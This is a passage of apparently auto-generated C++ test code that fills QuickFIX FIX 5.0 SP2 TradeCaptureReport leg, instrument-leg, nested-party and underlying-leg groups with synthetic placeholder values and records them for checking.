FIX::LegLastForwardPoints LegLastForwardPoints_3;\n    LegLastForwardPoints_3.setString(\"13945899\");\nset_field(noLegs_0_1, LegLastForwardPoints_3, TrdInstrmtLegGrp_NoLegs_1);\n    FIX::LegLastPx LegLastPx_3;\n    LegLastPx_3.setString(\"12061776\");\nset_field(noLegs_0_1, LegLastPx_3, TrdInstrmtLegGrp_NoLegs_1);\n    FIX::LegLastQty LegLastQty_3;\n    LegLastQty_3.setString(\"4806026\");\nset_field(noLegs_0_1, LegLastQty_3, TrdInstrmtLegGrp_NoLegs_1);\n    set_field(noLegs_0_1, FIX::LegNumber{1868782828}, TrdInstrmtLegGrp_NoLegs_1);\n    set_field(noLegs_0_1, FIX::LegPositionEffect{'1'}, TrdInstrmtLegGrp_NoLegs_1);\n    FIX::LegQty LegQty_22;\n    LegQty_22.setString(\"8624268\");\nset_field(noLegs_0_1, LegQty_22, TrdInstrmtLegGrp_NoLegs_1);\n    set_field(noLegs_0_1, FIX::LegRefID{\"STRING_1076628708\"}, TrdInstrmtLegGrp_NoLegs_1);\n    set_field(noLegs_0_1, FIX::LegReportID{\"STRING_1751755772\"}, TrdInstrmtLegGrp_NoLegs_1);\n    set_field(noLegs_0_1, FIX::LegSettlCurrency{\"JPY\"}, TrdInstrmtLegGrp_NoLegs_1);\n    set_field(noLegs_0_1, FIX::LegSettlDate{\"LOCALMKTDATE_33323626\"}, TrdInstrmtLegGrp_NoLegs_1);\n    set_field(noLegs_0_1, FIX::LegSettlType{'7'}, TrdInstrmtLegGrp_NoLegs_1);\n    set_field(noLegs_0_1, FIX::LegSwapType{4}, TrdInstrmtLegGrp_NoLegs_1);\n    FIX::LegVolatility LegVolatility_7;\n    LegVolatility_7.setString(\"9295189\");\nset_field(noLegs_0_1, LegVolatility_7, TrdInstrmtLegGrp_NoLegs_1);\n    all_values.push_back(TrdInstrmtLegGrp_NoLegs_1);\n    all_compo_names.insert(\"...NoLegs\");\n\n    // InstrumentLeg\n    multiset<string> InstrumentLeg_138;\n    set_field(noLegs_0_1, FIX::EncodedLegIssuer{\"DATA_2063378890\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::EncodedLegIssuerLen{115104917}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::EncodedLegSecurityDesc{\"DATA_1424669784\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::EncodedLegSecurityDescLen{1276288210}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegCFICode{\"STRING_904188670\"}, InstrumentLeg_138);\n    FIX::LegContractMultiplier LegContractMultiplier_138;\n    LegContractMultiplier_138.setString(\"7459411\");\nset_field(noLegs_0_1, LegContractMultiplier_138, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegContractMultiplierUnit{692794296}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegContractSettlMonth{\"MONTHYEAR_42123323\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegCountryOfIssue{\"COUNTRY_984656245\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegCouponPaymentDate{\"LOCALMKTDATE_439657528\"}, InstrumentLeg_138);\n    FIX::LegCouponRate LegCouponRate_138;\n    LegCouponRate_138.setString(\"30.880000\");\nset_field(noLegs_0_1, LegCouponRate_138, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegCreditRating{\"STRING_1077562307\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegCurrency{\"USD\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegDatedDate{\"LOCALMKTDATE_412219654\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegExerciseStyle{1718194223}, InstrumentLeg_138);\n    FIX::LegFactor LegFactor_138;\n    LegFactor_138.setString(\"2276471\");\nset_field(noLegs_0_1, LegFactor_138, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegFlowScheduleType{1806809591}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegInstrRegistry{\"STRING_776888193\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegInterestAccrualDate{\"LOCALMKTDATE_708249854\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegIssueDate{\"LOCALMKTDATE_1528108771\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegIssuer{\"STRING_238148875\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegLocaleOfIssue{\"STRING_1570676736\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegMaturityDate{\"LOCALMKTDATE_457253832\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegMaturityMonthYear{\"MONTHYEAR_1989904648\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegMaturityTime{\"TZTIMEONLY_1652003233\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegOptAttribute{'1'}, InstrumentLeg_138);\n    FIX::LegOptionRatio LegOptionRatio_138;\n    LegOptionRatio_138.setString(\"20232282\");\nset_field(noLegs_0_1, LegOptionRatio_138, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegPool{\"STRING_235948585\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegPriceUnitOfMeasure{\"STRING_1249177133\"}, InstrumentLeg_138);\n    FIX::LegPriceUnitOfMeasureQty LegPriceUnitOfMeasureQty_138;\n    LegPriceUnitOfMeasureQty_138.setString(\"8052636\");\nset_field(noLegs_0_1, LegPriceUnitOfMeasureQty_138, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegProduct{151843827}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegPutOrCall{1364282050}, InstrumentLeg_138);\n    FIX::LegRatioQty LegRatioQty_138;\n    LegRatioQty_138.setString(\"824497\");\nset_field(noLegs_0_1, LegRatioQty_138, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegRedemptionDate{\"LOCALMKTDATE_1428132037\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegRepoCollateralSecurityType{\"STRING_120987073\"}, InstrumentLeg_138);\n    FIX::LegRepurchaseRate LegRepurchaseRate_138;\n    LegRepurchaseRate_138.setString(\"9.030000\");\nset_field(noLegs_0_1, LegRepurchaseRate_138, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegRepurchaseTerm{2120926333}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegSecurityDesc{\"STRING_163110396\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegSecurityExchange{\"EXCHANGE_1813047148\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegSecurityID{\"STRING_413100214\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegSecurityIDSource{\"STRING_438713484\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegSecuritySubType{\"STRING_743125807\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegSecurityType{\"STRING_1218453662\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegSide{'1'}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegStateOrProvinceOfIssue{\"STRING_1155345461\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegStrikeCurrency{\"CHF\"}, InstrumentLeg_138);\n    FIX::LegStrikePrice LegStrikePrice_138;\n    LegStrikePrice_138.setString(\"8146714\");\nset_field(noLegs_0_1, LegStrikePrice_138, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegSymbol{\"STRING_1566052430\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegSymbolSfx{\"STRING_490253865\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegTimeUnit{\"STRING_195296528\"}, InstrumentLeg_138);\n    set_field(noLegs_0_1, FIX::LegUnitOfMeasure{\"STRING_1804201306\"}, InstrumentLeg_138);\n    FIX::LegUnitOfMeasureQty LegUnitOfMeasureQty_138;\n    LegUnitOfMeasureQty_138.setString(\"20609306\");\nset_field(noLegs_0_1, LegUnitOfMeasureQty_138, InstrumentLeg_138);\n    all_values.push_back(InstrumentLeg_138);\n    all_compo_names.insert(\"...NoLegs.\");\n\n    // LegSecAltIDGrp\n    // Group LegSecAltIDGrp.NoLegSecurityAltID\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegSecurityAltID noLegSecurityAltID_1_1_0;\n      // LegSecAltIDGrp.NoLegSecurityAltID\n      multiset<string> LegSecAltIDGrp_NoLegSecurityAltID_276;\n      set_field(noLegSecurityAltID_1_1_0, FIX::LegSecurityAltID{\"STRING_1646622306\"}, LegSecAltIDGrp_NoLegSecurityAltID_276);\n      set_field(noLegSecurityAltID_1_1_0, FIX::LegSecurityAltIDSource{\"STRING_1565450186\"}, LegSecAltIDGrp_NoLegSecurityAltID_276);\n      all_values.push_back(LegSecAltIDGrp_NoLegSecurityAltID_276);\n      all_compo_names.insert(\"...NoLegs....NoLegSecurityAltID\");\n\n      noLegs_0_1.addGroup(noLegSecurityAltID_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegSecurityAltID noLegSecurityAltID_1_1_1;\n      // LegSecAltIDGrp.NoLegSecurityAltID\n      multiset<string> LegSecAltIDGrp_NoLegSecurityAltID_277;\n      set_field(noLegSecurityAltID_1_1_1, FIX::LegSecurityAltID{\"STRING_1808237226\"}, LegSecAltIDGrp_NoLegSecurityAltID_277);\n      set_field(noLegSecurityAltID_1_1_1, FIX::LegSecurityAltIDSource{\"STRING_1522366932\"}, LegSecAltIDGrp_NoLegSecurityAltID_277);\n      all_values.push_back(LegSecAltIDGrp_NoLegSecurityAltID_277);\n      all_compo_names.insert(\"...NoLegs....NoLegSecurityAltID\");\n\n      noLegs_0_1.addGroup(noLegSecurityAltID_1_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegSecurityAltID noLegSecurityAltID_1_1_2;\n      // LegSecAltIDGrp.NoLegSecurityAltID\n      multiset<string> LegSecAltIDGrp_NoLegSecurityAltID_278;\n      set_field(noLegSecurityAltID_1_1_2, FIX::LegSecurityAltID{\"STRING_1801398771\"}, LegSecAltIDGrp_NoLegSecurityAltID_278);\n      set_field(noLegSecurityAltID_1_1_2, FIX::LegSecurityAltIDSource{\"STRING_909930711\"}, LegSecAltIDGrp_NoLegSecurityAltID_278);\n      all_values.push_back(LegSecAltIDGrp_NoLegSecurityAltID_278);\n      all_compo_names.insert(\"...NoLegs....NoLegSecurityAltID\");\n\n      noLegs_0_1.addGroup(noLegSecurityAltID_1_1_2);\n    }\n    // LegStipulations\n    // Group LegStipulations.NoLegStipulations\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegStipulations noLegStipulations_1_1_0;\n      // LegStipulations.NoLegStipulations\n      multiset<string> LegStipulations_NoLegStipulations_65;\n      set_field(noLegStipulations_1_1_0, FIX::LegStipulationType{\"STRING_1953242599\"}, LegStipulations_NoLegStipulations_65);\n      set_field(noLegStipulations_1_1_0, FIX::LegStipulationValue{\"STRING_126729114\"}, LegStipulations_NoLegStipulations_65);\n      all_values.push_back(LegStipulations_NoLegStipulations_65);\n      all_compo_names.insert(\"...NoLegs...NoLegStipulations\");\n\n      noLegs_0_1.addGroup(noLegStipulations_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegStipulations noLegStipulations_1_1_1;\n      // LegStipulations.NoLegStipulations\n      multiset<string> LegStipulations_NoLegStipulations_66;\n      set_field(noLegStipulations_1_1_1, FIX::LegStipulationType{\"STRING_262596641\"}, LegStipulations_NoLegStipulations_66);\n      set_field(noLegStipulations_1_1_1, FIX::LegStipulationValue{\"STRING_1233890988\"}, LegStipulations_NoLegStipulations_66);\n      all_values.push_back(LegStipulations_NoLegStipulations_66);\n      all_compo_names.insert(\"...NoLegs...NoLegStipulations\");\n\n      noLegs_0_1.addGroup(noLegStipulations_1_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegStipulations noLegStipulations_1_1_2;\n      // LegStipulations.NoLegStipulations\n      multiset<string> LegStipulations_NoLegStipulations_67;\n      set_field(noLegStipulations_1_1_2, FIX::LegStipulationType{\"STRING_247716187\"}, LegStipulations_NoLegStipulations_67);\n      set_field(noLegStipulations_1_1_2, FIX::LegStipulationValue{\"STRING_1090987544\"}, LegStipulations_NoLegStipulations_67);\n      all_values.push_back(LegStipulations_NoLegStipulations_67);\n      all_compo_names.insert(\"...NoLegs...NoLegStipulations\");\n\n      noLegs_0_1.addGroup(noLegStipulations_1_1_2);\n    }\n    // NestedParties\n    // Group NestedParties.NoNestedPartyIDs\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoNestedPartyIDs noNestedPartyIDs_1_1_0;\n      // NestedParties.NoNestedPartyIDs\n      multiset<string> NestedParties_NoNestedPartyIDs_155;\n      set_field(noNestedPartyIDs_1_1_0, FIX::NestedPartyID{\"STRING_410826583\"}, NestedParties_NoNestedPartyIDs_155);\n      set_field(noNestedPartyIDs_1_1_0, FIX::NestedPartyIDSource{'7'}, NestedParties_NoNestedPartyIDs_155);\n      set_field(noNestedPartyIDs_1_1_0, FIX::NestedPartyRole{1620433888}, NestedParties_NoNestedPartyIDs_155);\n      all_values.push_back(NestedParties_NoNestedPartyIDs_155);\n      all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs\");\n\n      // NstdPtysSubGrp\n      // Group NstdPtysSubGrp.NoNestedPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_1_0_2_0;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_320;\n        set_field(noNestedPartySubIDs_1_0_2_0, FIX::NestedPartySubID{\"STRING_1499676851\"}, NstdPtysSubGrp_NoNestedPartySubIDs_320);\n        set_field(noNestedPartySubIDs_1_0_2_0, FIX::NestedPartySubIDType{691403902}, NstdPtysSubGrp_NoNestedPartySubIDs_320);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_320);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_1_1_0.addGroup(noNestedPartySubIDs_1_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_1_0_2_1;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_321;\n        set_field(noNestedPartySubIDs_1_0_2_1, FIX::NestedPartySubID{\"STRING_403896893\"}, NstdPtysSubGrp_NoNestedPartySubIDs_321);\n        set_field(noNestedPartySubIDs_1_0_2_1, FIX::NestedPartySubIDType{507538664}, NstdPtysSubGrp_NoNestedPartySubIDs_321);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_321);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_1_1_0.addGroup(noNestedPartySubIDs_1_0_2_1);\n      }\n      noLegs_0_1.addGroup(noNestedPartyIDs_1_1_0);\n    }\n    // TradeCapLegUnderlyingsGrp\n    // Group TradeCapLegUnderlyingsGrp.NoOfLegUnderlyings\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings noOfLegUnderlyings_1_1_0;\n      // TradeCapLegUnderlyingsGrp.NoOfLegUnderlyings\n      // UnderlyingLegInstrument\n      multiset<string> UnderlyingLegInstrument_3;\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegCFICode{\"STRING_185900904\"}, UnderlyingLegInstrument_3);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegMaturityDate{\"LOCALMKTDATE_1322210068\"}, UnderlyingLegInstrument_3);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegMaturityMonthYear{\"MONTHYEAR_899136921\"}, UnderlyingLegInstrument_3);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegMaturityTime{\"TZTIMEONLY_676154769\"}, UnderlyingLegInstrument_3);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegOptAttribute{'1'}, UnderlyingLegInstrument_3);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegPutOrCall{555854579}, UnderlyingLegInstrument_3);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSecurityDesc{\"STRING_589601723\"}, UnderlyingLegInstrument_3);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSecurityExchange{\"STRING_22573308\"}, UnderlyingLegInstrument_3);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSecurityID{\"STRING_54993237\"}, UnderlyingLegInstrument_3);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSecurityIDSource{\"STRING_7568261\"}, UnderlyingLegInstrument_3);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSecuritySubType{\"STRING_1830810535\"}, UnderlyingLegInstrument_3);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSecurityType{\"STRING_1577360169\"}, UnderlyingLegInstrument_3);\n      FIX::UnderlyingLegStrikePrice UnderlyingLegStrikePrice_3;\n      UnderlyingLegStrikePrice_3.setString(\"18089670\");\nset_field(noOfLegUnderlyings_1_1_0, UnderlyingLegStrikePrice_3, UnderlyingLegInstrument_3);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSymbol{\"STRING_593257598\"}, UnderlyingLegInstrument_3);\n      set_field(noOfLegUnderlyings_1_1_0, FIX::UnderlyingLegSymbolSfx{\"STRING_1757507064\"}, UnderlyingLegInstrument_3);\n      all_values.push_back(UnderlyingLegInstrument_3);\n      all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings.\");\n\n      // UnderlyingLegSecurityAltIDGrp\n      // Group UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_1_0_2_0;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_5;\n        set_field(noUnderlyingLegSecurityAltID_1_0_2_0, FIX::UnderlyingLegSecurityAltID{\"STRING_719986712\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_5);\n        set_field(noUnderlyingLegSecurityAltID_1_0_2_0, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_2020103705\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_5);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_5);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_1_1_0.addGroup(noUnderlyingLegSecurityAltID_1_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_1_0_2_1;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_6;\n        set_field(noUnderlyingLegSecurityAltID_1_0_2_1, FIX::UnderlyingLegSecurityAltID{\"STRING_701133324\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_6);\n        set_field(noUnderlyingLegSecurityAltID_1_0_2_1, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_967702899\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_6);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_6);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_1_1_0.addGroup(noUnderlyingLegSecurityAltID_1_0_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_1_0_2_2;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_7;\n        set_field(noUnderlyingLegSecurityAltID_1_0_2_2, FIX::UnderlyingLegSecurityAltID{\"STRING_963607601\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_7);\n        set_field(noUnderlyingLegSecurityAltID_1_0_2_2, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_1908466998\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_7);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_7);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_1_1_0.addGroup(noUnderlyingLegSecurityAltID_1_0_2_2);\n      }\n      noLegs_0_1.addGroup(noOfLegUnderlyings_1_1_0);\n    }\n    msg.addGroup(noLegs_0_1);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoLegs noLegs_0_2;\n    // TrdInstrmtLegGrp.NoLegs\n    multiset<string> TrdInstrmtLegGrp_NoLegs_2;\n    FIX::LegCalculatedCcyLastQty LegCalculatedCcyLastQty_4;\n    LegCalculatedCcyLastQty_4.setString(\"13785294\");\nset_field(noLegs_0_2, LegCalculatedCcyLastQty_4, TrdInstrmtLegGrp_NoLegs_2);\n    set_field(noLegs_0_2, FIX::LegCoveredOrUncovered{1720158645}, TrdInstrmtLegGrp_NoLegs_2);\n    FIX::LegCurrencyRatio LegCurrencyRatio_8;\n    LegCurrencyRatio_8.setString(\"13814172\");\nset_field(noLegs_0_2, LegCurrencyRatio_8, TrdInstrmtLegGrp_NoLegs_2);\n    FIX::LegDividendYield LegDividendYield_8;\n    LegDividendYield_8.setString(\"59.010000\");\nset_field(noLegs_0_2, LegDividendYield_8, TrdInstrmtLegGrp_NoLegs_2);\n    set_field(noLegs_0_2, FIX::LegExecInst{\"MULTIPLECHARVALUE_1072351848\"}, TrdInstrmtLegGrp_NoLegs_2);\n    FIX::LegGrossTradeAmt LegGrossTradeAmt_4;\n    LegGrossTradeAmt_4.setString(\"20728211\");\nset_field(noLegs_0_2, LegGrossTradeAmt_4, TrdInstrmtLegGrp_NoLegs_2);\n    FIX::LegLastForwardPoints LegLastForwardPoints_4;\n    LegLastForwardPoints_4.setString(\"4844827\");\nset_field(noLegs_0_2, LegLastForwardPoints_4, TrdInstrmtLegGrp_NoLegs_2);\n    FIX::LegLastPx LegLastPx_4;\n    LegLastPx_4.setString(\"15798905\");\nset_field(noLegs_0_2, LegLastPx_4, TrdInstrmtLegGrp_NoLegs_2);\n    FIX::LegLastQty LegLastQty_4;\n    LegLastQty_4.setString(\"14059056\");\nset_field(noLegs_0_2, LegLastQty_4, TrdInstrmtLegGrp_NoLegs_2);\n    set_field(noLegs_0_2, FIX::LegNumber{670383699}, TrdInstrmtLegGrp_NoLegs_2);\n    set_field(noLegs_0_2, FIX::LegPositionEffect{'7'}, TrdInstrmtLegGrp_NoLegs_2);\n    FIX::LegQty LegQty_23;\n    LegQty_23.setString(\"1575589\");\nset_field(noLegs_0_2, LegQty_23, TrdInstrmtLegGrp_NoLegs_2);\n    set_field(noLegs_0_2, FIX::LegRefID{\"STRING_1346538469\"}, TrdInstrmtLegGrp_NoLegs_2);\n    set_field(noLegs_0_2, FIX::LegReportID{\"STRING_124639881\"}, TrdInstrmtLegGrp_NoLegs_2);\n    set_field(noLegs_0_2, FIX::LegSettlCurrency{\"USD\"}, TrdInstrmtLegGrp_NoLegs_2);\n    set_field(noLegs_0_2, FIX::LegSettlDate{\"LOCALMKTDATE_147213189\"}, TrdInstrmtLegGrp_NoLegs_2);\n    set_field(noLegs_0_2, FIX::LegSettlType{'7'}, TrdInstrmtLegGrp_NoLegs_2);\n    set_field(noLegs_0_2, FIX::LegSwapType{2}, TrdInstrmtLegGrp_NoLegs_2);\n    FIX::LegVolatility LegVolatility_8;\n    LegVolatility_8.setString(\"19780237\");\nset_field(noLegs_0_2, LegVolatility_8, TrdInstrmtLegGrp_NoLegs_2);\n    all_values.push_back(TrdInstrmtLegGrp_NoLegs_2);\n    all_compo_names.insert(\"...NoLegs\");\n\n    // InstrumentLeg\n    multiset<string> InstrumentLeg_139;\n    set_field(noLegs_0_2, FIX::EncodedLegIssuer{\"DATA_198283243\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::EncodedLegIssuerLen{1605191838}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::EncodedLegSecurityDesc{\"DATA_423797675\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::EncodedLegSecurityDescLen{1955790307}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegCFICode{\"STRING_1072434174\"}, InstrumentLeg_139);\n    FIX::LegContractMultiplier LegContractMultiplier_139;\n    LegContractMultiplier_139.setString(\"11437843\");\nset_field(noLegs_0_2, LegContractMultiplier_139, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegContractMultiplierUnit{1828410364}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegContractSettlMonth{\"MONTHYEAR_1773567499\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegCountryOfIssue{\"COUNTRY_2111487287\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegCouponPaymentDate{\"LOCALMKTDATE_644534317\"}, InstrumentLeg_139);\n    FIX::LegCouponRate LegCouponRate_139;\n    LegCouponRate_139.setString(\"8.490000\");\nset_field(noLegs_0_2, LegCouponRate_139, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegCreditRating{\"STRING_1342533121\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegCurrency{\"USD\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegDatedDate{\"LOCALMKTDATE_1423119023\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegExerciseStyle{1289561162}, InstrumentLeg_139);\n    FIX::LegFactor LegFactor_139;\n    LegFactor_139.setString(\"6938219\");\nset_field(noLegs_0_2, LegFactor_139, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegFlowScheduleType{1907601818}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegInstrRegistry{\"STRING_721968026\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegInterestAccrualDate{\"LOCALMKTDATE_2099727564\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegIssueDate{\"LOCALMKTDATE_430501869\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegIssuer{\"STRING_1476584959\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegLocaleOfIssue{\"STRING_109802821\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegMaturityDate{\"LOCALMKTDATE_1777040338\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegMaturityMonthYear{\"MONTHYEAR_1601224840\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegMaturityTime{\"TZTIMEONLY_823216305\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegOptAttribute{'1'}, InstrumentLeg_139);\n    FIX::LegOptionRatio LegOptionRatio_139;\n    LegOptionRatio_139.setString(\"17484380\");\nset_field(noLegs_0_2, LegOptionRatio_139, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegPool{\"STRING_1591623027\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegPriceUnitOfMeasure{\"STRING_1361921688\"}, InstrumentLeg_139);\n    FIX::LegPriceUnitOfMeasureQty LegPriceUnitOfMeasureQty_139;\n    LegPriceUnitOfMeasureQty_139.setString(\"15789781\");\nset_field(noLegs_0_2, LegPriceUnitOfMeasureQty_139, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegProduct{1789906271}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegPutOrCall{819629878}, InstrumentLeg_139);\n    FIX::LegRatioQty LegRatioQty_139;\n    LegRatioQty_139.setString(\"20027757\");\nset_field(noLegs_0_2, LegRatioQty_139, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegRedemptionDate{\"LOCALMKTDATE_1598212930\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegRepoCollateralSecurityType{\"STRING_1892064053\"}, InstrumentLeg_139);\n    FIX::LegRepurchaseRate LegRepurchaseRate_139;\n    LegRepurchaseRate_139.setString(\"65.200000\");\nset_field(noLegs_0_2, LegRepurchaseRate_139, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegRepurchaseTerm{1279139647}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegSecurityDesc{\"STRING_1518147904\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, 